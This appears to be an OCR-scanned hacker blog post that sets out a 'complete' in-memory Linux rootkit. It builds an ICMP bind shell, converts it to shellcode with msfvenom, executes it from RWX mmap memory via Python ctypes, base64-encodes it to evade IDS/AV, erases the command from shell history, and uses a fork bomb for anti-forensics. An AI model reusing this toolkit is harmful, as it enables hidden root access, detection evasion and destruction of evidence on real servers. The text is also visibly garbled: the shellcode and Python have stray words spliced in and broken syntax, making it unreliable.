Complete In-Memory Toolkit & Methodology.

For those not well versed on history, one of the most daring letters of all time was sent to Stalin from Josip Broz Tito who was a leader from the former Yugoslavia. It only said the following: "Stop sending people to kill me. We've already captured five of them, one of them with a bomb and another with a rifle. If you don't stop sending killers, I'll send one to Moscow, and I won't have to send a second." Knowing Stalin's reputation at that time, not many people would make threats to him. If they did, they were usually made an example of. Tito lived on to age 87 only to die of complications from gangrene. For whatever reason, his reports of assassination attempts also ended after that letter. So he was one of the few people that at least scared Stalin enough to back off, which was very rare. For this reason, when I thought of the stealthy assassin this rootkit could be, only one name came to mind. It seems for a while now, most malware has been moving to an in-memory-only methodology. Its obviously easier to find malicious files on disk. While LKM, eBP or userland rootkits were once the elite of hiding on Unix-like systems, they all touch the disk. More than that, most of them are hooking suspicious syscalls that any really good IDS or AV should detect. I had seen in-memory-only code run viri and other malware, but not any rootkits. So I had to ask myself, what would an in-memory-only rootkit look like? Despite the name, it's often a common mistake to assume rootkits give you root. Usually they just help maintain access after a root or user level compromise has taken place. Most provide a shell and hide from any commands like history, netstat, Isof, ps, and other tools an administrator might use for troubleshooting, or to look for normal malware. I was able to find a lot of examples of running code in memory, but hiding a working shell became kind of a challenge. Even if the process was hidden from everything else, I would see its port open in netstat. After searching and banging my head for a while, the idea hit me there are protocols that netstat can't see. I didn't know if it was possible, but I was able to find a nice bind shell that uses ICMP instead of TCP or UDP netstat would normally register. After building the shell with "make linux" I had two binaries, ishd and ish. The ishd binary is the actual shell and ish is the client to connect to it with. Next it was time to make this icmp shell into Summer 2025 shellcode. So we can use msfvenom to generate that: mafvenom-p linux/x64/exec CMD-/path/to/ishd -f cb "\x00\x0a\ alreadyx0d" > shellcode.txt Then use something like this to dump the shellcode into one line: grep" shellcode.txt | tr "\n" | sed -e 's/\" \"//gis/\"//g:a/1//g' && echo "" Which on an x86 64 CPU should generate the following: \ x48\x31\xc9\x48\x81\xe9\xf7\xff\ xff\xff\x48\x8d\x05\xef\xff\xff \xff\x48\xbb\xa6\xa3\x1a\xd4\xa 5\x07\x96\x04\x48\x31\x58\x27\x 48\x2d\xf8\xff\xff\xff\xe2\xf4\ xee\x1b\x35\xb6\xec\x69\xb9\x97\ xce\xa3\x83\x84\xf1\x58\xc4\x82\ xce\x8e\x79\x80 b\x55\x7e\xf9\ xa6\xa3\xla\xfb\xcd\x68\xfb\x81\ x89\xd3\x72\x67\x96\x75\xb9\xad\ xf5\xeb\x5f\x98\xe9\x2a\x00\xd4\ x88\x91\x35\xbd\xd6\x6f\xf2\xe4\ xf0\xf4\x4e\x8a\xcf\x3c\xce\xeb\ xa3\xa3\xla\xd4\xa5\x07\x96\xe4 So now that we have this, we can use some Python like the following to call mmap and run the shellcode only in memory: #!/usr/bin/python3 import mmap import ctypes Shellcode shellcode (b"\x48\x31\xc9\x48\2) x81\x69\xf7\xff\xff\xff\x48\x8d\ x05\xef\xff\xff\xff\x48\xbb\xa6\ xa3\xla\xd4\xa5\x07\x96\x64\x48\ x31\x58\x27\x48\x2d\xf8\xff\xff\ xff\xe2\xf4\xee\x1b\x35\xb6\xec\ x69\xb9\x97\xce\xa3\x83\x84\xf1\ shellx58\xc4\x82\xce\x8e\x79\x80\xfb\x55\x70\xf9\xa6\xa3a\xfb\xcd\x68\xfb\x81\x89\xd3\x72\bangingxe7\x96\x75\xb9\xad\xf5\xeb\x5F\ otherx98\xe9\x2a\xc0\xd4\x88\x91\x35\ xbd\xd6\x6F\xf2\xe4\xf0\xf4\x4e\ bindxBa\xcf\x3c\xce\xeb\xa3\x83\x1a\thatxd4\xa5\x07\x96\xe4") def execute shellcode (shellcode): Create a RWX (read-write-execute) memory region using mmap shellcode_size len (shellcode) mem mтар.map(-1, shellcode size, mmap.MAP PRIVATE | mmap. -ΜΑΡ ΑΝΟΝΥMOUS, mmap. PROT WRITE mmap.PROT READ | mmap.PROT EXEC) #Write the shellcode into the mmap'd memory mem.write(shellcode) Get the address of the mmap'd memory and cast to a function pointer addr = ctypes.addressof(ctypes.c char.from_buffer(mem)) #Cast the address to a function pointer (CFUNCTYPE) shell func = ctypes. CFUNCTYPE (None) (addr) print("Executing shellcode...") Execute the shellcode shell_func() Run the shellcode execute_shellcode (shellcode) Running this file on an x86_64 instance of Debian Trixie, we can observe after running the above code "Executing shellcode..." prints to the screen. There's nothing in netstat, ps, Isof, etc. that would indicate anything from this is Now it's time to use our ish client to connect to wherever the shellcode is running: ./ish 127.0.0.1 ICMP Shell v0.2 (client) by: Peter Kieltyka Connecting to 127.0.0.1...done. #uid=0(root) gid=0(root) groups=0 (root) You can replace 127.0.0.1 with whatever IP this is deployed on. Considering you executed the Python code as root, you should now have a root ICMP shell. We still have a ways to go though. Running plain shellcode will still probably make a good IDS or AV scream bloody murder. We can avoid this by encoding our shellcode with base64. Some will argue base64 is suspicious too, but it's also often used for copyright protection. So this will give us some plausible deniability. There's also the fact we were just using a file, but we can execute this entire Python script on the command line, with our shellcode in base64 encoding and some historical Tito flare like this: python3 -c 'import base64, mmap, ctypes: encoded_shellcode = "SD HJSIHp9////01NBe////9Iu6ajGtSl B5bkSDFYJ0gt+P///+L07hsltsxpuz f0040E8VjEgs60eYD7VX75pqMa+810+ 4GJ03Ln1nW5rfXrX5jpKuDUiJElvdZ v8uTw9E6KzzzD660jGtSlB5bk shellcodebase64.b64decode (encoded_shellcode); mem mmap.mmap(-1, len (shellcode) mimap.MAP PRIVATE | map.MAP ANONYMOUS, mmap.PROT WRITE | mmap.PROT_READ | mmap. PROT EXEC); mem.write(shellcode); addr ctypes.addressof (ctypes .c char.from_buffer(mem)); shell_func ctypes.CFUNCTYPE (None) (addr); print("... and 1 won't have to send a second.") shell func()' The only problem now is if someone checks the history command they will see the above code in it. We can fix this by appending something like "&& history -d $(history | awk 'END { print $1}')" to the end of our command. Our complete rootkit should finally look like this: python3 -c 'import base64, mmap ctypes; encoded_shellcode = "SDHJSIHp9////0iNBe////9Iu6ajG theS1B5bkSDFYJ0gt+P///+L07hsltsxpetc.uZf0040E8VjEgs60eYD7VX75pqMa+810+4GJ03LnlnW5rfXrX5jpKuDUiJElvdZv8uTw9E6Kzzz0660jGtSlB5bk"shellcode base64.b64decode (encoded shellcode); mem mmap mmap(-1, len (shellcode), mmap. MAP PRIVATE | mmap.MAP_ΑΝΟΝΥΜ OUS, mmap.PROT_WRITE | mmap.ctypes.addressof(ctypes.c_char .from buffer (mem)); shell_func ctypes.CFUNCTYPE (None) (addr); print("... and I won't have to send a second."); shell_func()' && history -d $(history | awk 'END { print $1}') Now we will not see this code being launched in the command line history either. As far as detection, I suppose one could use a tool like volatility to search memory for the base64 I have used here. It won't stop others from using different encoding, packing, or encryption. Or from altering the C code in ishd.c to change the shellcode and what any of its encoded, packed, or encrypted versions would come out to. I've also only used the defaults for the shell, but there are many, many optional parameters that could be used to evade any IDS or AV filters a blue team may attempt to stop this with. Should I find a good one-size-fits-all solution for detection, I'll try to update it on this GitHub. One might ask, isn't this code just going to stop when the device is rebooted? That certainly doesn't sound like creating persistence, but consider this: Working in hosting, it was not that unusual to find a Linux server with 2000 days of uptime, which is about 5.5 years without a reboot. In cases like this, it's not even necessary to implement persistence. Because it's not persistent, one could argue this is just a trojan or rat, but I have not observed any trojans or rats hiding from ps, top, netstat, ls, etc. in the ways a normal rootkit would. Should I find a method for in-memory persistence, I'll update the previously mentioned GitHub with this too². If one is motivated, they could make a cron job to run this at boot time and use ld_preload to hide it. However, that would require saving to disk and negate everything we've done to completely run in memory. So I'll leave this to the reader to implement if they choose. Lastly, I would like to talk about anti-forensics. If we are careful to just run commands in the ICMP shell and not write to anything, then we haven't touched the disk at all. This means we only need to worry about RAM for evidence of our intrusion. If you do need to destroy any traces of the rootkit, you can just run a fork-bomb like this on the command line of the shell: :(){:|:&);: it on, but with that anything done in the rootkit will be overwritten in memory, making forensics analysis a fruitless effort. I would like to thank Peter Kieltyka for creating the initial ICMP shell. I would also like to thank tmpout³, vx-underground, Phrack, what was previously vx-heavens and of course 2600. These groups either currently or previously teach/taught, inspire(d), and/or made These groups either currently or previously teach/taught, inspire(d), and/or made the hacker scene and its knowledge what it is today. Never stop being you..

Comments

Popular posts from this blog

Put a safety on that toggle! Automating SAFE Dynamic Mitigation

ESP8266 WEMOS D1 || PACKET MONITOR